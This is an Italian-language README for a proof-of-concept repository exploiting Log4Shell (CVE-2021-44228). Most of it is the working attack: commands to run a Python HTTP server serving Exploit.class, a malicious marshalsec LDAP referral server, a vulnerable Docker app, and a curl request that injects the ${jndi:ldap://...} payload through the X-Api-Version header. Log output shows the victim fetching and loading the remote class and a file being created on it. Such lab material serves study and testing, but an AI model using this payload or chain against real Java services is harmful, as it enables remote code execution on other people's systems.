
PoC per CVE-2021-44228.
Lo scopo di questo repository è fornire tutti i componenti necessari per sfruttare CVE-2021-44228, soprannominata Log4Shell,
e mostrare come sfruttarla.
Gli ingredienti necessari per sfruttare questa vulnerabilità sono i seguenti:
Crediti:
Prerequisiti:
server LDAP e del server HTTPserver HTTP1. Spostarsi nella cartella exploit e avviare il server http tramite Python.
python3 -m http.server PORT
server LDAP1. Spostarsi nella cartella ldap_server e compilare il pom.xml
mvn clean package -DskipTests
2. Spostarsi nella cartella target e avviare il server specificando http_server_ip e http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
Nota: questo comando esegue il server ldap malevolo imponendogli di rispondere con l'URI di Exploit.class a ogni query ldap.
applicazione vulnerabileEseguire il container docker dell'applicazione vulnerabile
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Nota: di default eseguiamo l'applicazione vulnerabile sulla porta 8080, sentiti libero di cambiarla.
Una volta che l'applicazione_vulnerabile, il server_ldap e il server_http
sono in esecuzione, inviare una richiesta http malevola al server vulnerabile.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
L'applicazione_vulnerabile registrerà il payload ed eseguirà una query ldap
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
Il server_ldap risponderà con l'URI di Exploit.class
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
Il server_http riceverà una richiesta per Exploit.class
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
Infine, possiamo verificare che l'exploit abbia creato un nuovo file nel filesystem della vittima. In questo esempio dobbiamo controllare il filesystem del container docker.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app